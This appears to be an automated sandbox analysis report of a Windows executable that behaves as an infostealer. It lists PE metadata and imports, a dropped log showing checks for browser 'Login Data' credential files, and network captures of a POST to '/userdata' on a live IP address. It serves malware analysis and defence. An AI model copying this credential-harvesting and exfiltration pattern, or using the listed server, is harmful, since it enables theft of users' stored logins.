Process:	C:\Users\user\Desktop\Simple1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.8184510556594695
Encrypted:	false
SSDEEP:	24:8E5Kk89K5K889KM89LYeb89KDWD89MLFpLK+89r9H+3X6nck:8EUksKU8sKMsLDbsKDWDsgFdK+sF+3Xq
MD5:	FBECB45D903551F94C3A95B7EEBDB7E8
SHA1:	A3BF658F1E13A4DC965362539F393BE4669D92BF
SHA-256:	EDE965AD7144AB6AEEB6B689F76B0810683A438A2C2D78AC3AB865706D802A2C
SHA-512:	3CDA26D47F631860AB26696394330C48B2E58906B9F51C178397FB28743C368E49CDA0CA7FBD2B51458F4A65AC1F990D1B58D7BAF18C5D9CE8329F9D378B54F4
Malicious:	false
Reputation:	low
Preview:	File is found: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data..File is found: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Login Data..File not found: C:\Users\user\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json..File is found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json..?? ??????? ???????? ????? ?? ???????...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.9784256378182175
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Simple1.exe
File size:	81'920 bytes
MD5:	218954f9dd70247e51af8a30940d5c33
SHA1:	35ee01d3128951c3993079186fddc9c0dbe155f7
SHA256:	95ec35703d323fe972a936d9b3574bb191e94b693656d94149897c5ff35f225f
SHA512:	335108a63a07d9d81240c40e67dc6375468bd5bae79edf413b0ec8913e43364b155fdebe0c972ab6150ae2c59779d75045108d9a257e2ce0b8c5ae78f819804e
SSDEEP:	1536:KRF3gVPu3b3X41IiaqGyB0+Hls+X7nTfRQP7K:yRE23zX41la+THls+m+
TLSH:	A2834947376A00ECD1ABA378D5A30A06D772BC05076193DF13A0A17A0FA67D1AE7FB51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............a...a...a.......a...b...a...e...a...d...a...`...a...`...a...`.r.a...h...a.......a...c...a.Rich..a........................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000bae8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6729C700 [Tue Nov 5 07:19:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	066fb96ba163200488bf8cbd9705163e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FF3647DBDA0h
dec eax
add esp, 28h
jmp 00007FF3647DB547h
int3
int3
retn 0000h
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [000025CFh]
dec eax
mov ecx, ebx
call dword ptr [000025BEh]
call dword ptr [000025C8h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [000025BCh]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [000025B0h]
test eax, eax
je 00007FF3647DB6D9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00009D26h]
call 00007FF3647DB77Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00009E0Dh], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00009D9Dh], eax
dec eax
mov eax, dword ptr [00009DF6h]
dec eax
mov dword ptr [00009C67h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00009D6Bh], eax
mov dword ptr [00009C41h], C0000409h
mov dword ptr [00009C3Bh], 00000001h
mov dword ptr [00009C45h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11ed4	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x16000	0x9f0	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x10c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xf7b0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xf670	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x630	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc077	0xc200	bb167b742e9c1e46cecec9663ad94a6e	False	0.48012644974226804	DIY-Thermocam raw data (Lepton 3.x), scale -14592-0, spot sensor temperature -0.000048, unit celsius, color scheme 0, calibration: offset 262144.000000, slope 171778.046875	6.1463104557320865	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x6240	0x6400	a9c91b7191e54302f31a2135cbaafa16	False	0.3462109375	data	4.930625889732141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x15000	0xda0	0x800	f49b7b400b3a9a593e0463969e69304e	False	0.19775390625	DOS executable (block device driver)	3.6357853761384584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x16000	0x9f0	0xa00	5859a68e779cdab4bed9be7147961d7c	False	0.493359375	data	4.82362794619983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x17000	0x1e0	0x200	2c9bc3c453765c5a8e37ea178e81aa1b	False	0.52734375	data	4.710061382693063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x10c	0x200	9549c1cc6ee8d55da6140afe18223169	False	0.42578125	data	3.2295190100213778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x17060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetFileAttributesW, GetLocaleInfoA, OpenProcess, GetTimeZoneInformation, GetLastError, CloseHandle, K32GetModuleBaseNameA, GetSystemInfo, K32EnumProcesses, GlobalMemoryStatusEx, GetConsoleWindow, K32EnumProcessModules, GetDiskFreeSpaceExA, FindClose, InitializeSListHead, GetSystemTimeAsFileTime, GetEnvironmentVariableW, FindNextFileW, FindFirstFileW, GetLogicalDrives, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, RtlLookupFunctionEntry, GetModuleFileNameA, GetCurrentThreadId, RtlCaptureContext
USER32.dll	ShowWindow
ADVAPI32.dll	RegGetValueA, RegCloseKey, RegOpenKeyExA
MSVCP140.dll	?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A, ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEB_W_J@Z, ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z, ?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z, ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z, ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z, ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z, ?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z, ?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ, ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?good@ios_base@std@@QEBA_NXZ, ??7ios_base@std@@QEBA_NXZ, ??1?$codecvt@_WDU_Mbstatet@@@std@@MEAA@XZ, ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z, ?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z, ?in@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z, ?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UEAAXXZ, ??Bid@locale@std@@QEAA_KXZ, ?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ??0_Lockit@std@@QEAA@H@Z, ??1_Lockit@std@@QEAA@XZ, ?_Xlength_error@std@@YAXPEBD@Z
IPHLPAPI.DLL	GetAdaptersInfo
NETAPI32.dll	NetApiBufferFree, NetUserEnum, NetGetJoinInformation
WINHTTP.dll	WinHttpQueryDataAvailable, WinHttpConnect, WinHttpSendRequest, WinHttpCloseHandle, WinHttpOpenRequest, WinHttpReadData, WinHttpQueryHeaders, WinHttpOpen, WinHttpReceiveResponse
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__C_specific_handler, _CxxThrowException, memset, __current_exception, __std_terminate, __std_exception_copy, memcpy, memcmp, memchr, memmove, __current_exception_context, __std_exception_destroy
api-ms-win-crt-stdio-l1-1-0.dll	fread, fsetpos, ungetc, _fseeki64, _get_stream_buffer_pointers, setvbuf, fgetpos, fwrite, fflush, __p__commode, fputc, fgetc, fclose, _set_fmode
api-ms-win-crt-heap-l1-1-0.dll	free, malloc, _set_new_mode, _callnewh
api-ms-win-crt-string-l1-1-0.dll	isalnum
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file, _unlock_file
api-ms-win-crt-runtime-l1-1-0.dll	_get_initial_narrow_environment, _initterm, _initterm_e, _cexit, _exit, __p___argc, __p___argv, _c_exit, _register_thread_local_exe_atexit_callback, _crt_atexit, _register_onexit_function, _seh_filter_exe, _initialize_onexit_table, _initialize_narrow_environment, _configure_narrow_argv, _set_app_type, exit, terminate, _invalid_parameter_noinfo_noreturn
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:46:19.321459055 CET	49704	80	192.168.2.5	104.26.13.205
Dec 6, 2024 11:46:19.441385984 CET	80	49704	104.26.13.205	192.168.2.5
Dec 6, 2024 11:46:19.441590071 CET	49704	80	192.168.2.5	104.26.13.205
Dec 6, 2024 11:46:19.441905975 CET	49704	80	192.168.2.5	104.26.13.205
Dec 6, 2024 11:46:19.561628103 CET	80	49704	104.26.13.205	192.168.2.5
Dec 6, 2024 11:46:20.535684109 CET	80	49704	104.26.13.205	192.168.2.5
Dec 6, 2024 11:46:20.591140985 CET	49704	80	192.168.2.5	104.26.13.205
Dec 6, 2024 11:46:20.871095896 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:20.992064953 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:20.992145061 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:20.992466927 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:20.992543936 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.112689972 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.112752914 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.112756968 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.112811089 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.112905979 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.112916946 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.112961054 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.112967968 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.112979889 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.112979889 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.113034964 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.113322973 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.113368988 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.113375902 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.113413095 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.113420010 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.113461971 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.232254028 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232408047 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.232434034 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232486963 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.232523918 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232534885 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232580900 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.232748032 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232758999 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232769966 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.232800961 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.232842922 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.274440050 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.274727106 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.394476891 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.394633055 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.438404083 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.442333937 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.562419891 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.658436060 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.662331104 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:21.906400919 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:21.908370018 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:22.154671907 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:22.154731989 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:22.406467915 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:22.406536102 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:22.658478975 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:22.658624887 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:22.910904884 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:22.910964012 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:46:23.139931917 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:46:23.539303064 CET	49704	80	192.168.2.5	104.26.13.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:46:19.168056011 CET	61630	53	192.168.2.5	1.1.1.1
Dec 6, 2024 11:46:19.305385113 CET	53	61630	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 11:46:19.168056011 CET	192.168.2.5	1.1.1.1	0x74d3	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 11:46:19.305385113 CET	1.1.1.1	192.168.2.5	0x74d3	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:46:19.305385113 CET	1.1.1.1	192.168.2.5	0x74d3	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:46:19.305385113 CET	1.1.1.1	192.168.2.5	0x74d3	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

185.237.165.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.26.13.205	80	2520	C:\Users\user\Desktop\Simple1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:46:19.441905975 CET	88	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.0 Host: api.ipify.org
Dec 6, 2024 11:46:20.535684109 CET	429	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 10:46:20 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edbb1095c7a4346-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1586&rtt_var=793&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=88&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.237.165.97	80	2520	C:\Users\user\Desktop\Simple1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:46:20.992466927 CET	185	OUT	POST /userdata HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WebKitFormBoundary User-Agent: WinHTTP/1.0 Content-Length: 97217 Host: 185.237.165.97
Dec 6, 2024 11:46:20.992543936 CET	11124	OUT	Data Raw: 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 79 73 69 6e 66 6f 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 Data Ascii: --WebKitFormBoundaryContent-Disposition: form-data; name="sysinfo"Content-Type: application/json{ "sysinfo": "MACHINE%20INFO%3a%0aMachine%20name%3a%20440BX%20Desktop%20Reference%20Platform%0aProcessor%20name%3a%20Intel%28R%29%20Core%28
Dec 6, 2024 11:46:21.112756968 CET	1236	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:46:21.112811089 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:46:21.112961054 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:46:21.112979889 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:46:21.113034964 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:46:21.113375902 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:46:21.113413095 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 07 3a 00 03 03 84 00 07 67 07 cf 03 84 07 3a 03 32 02 de 02 34 01 96 01 4d 01 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: :g:24MM
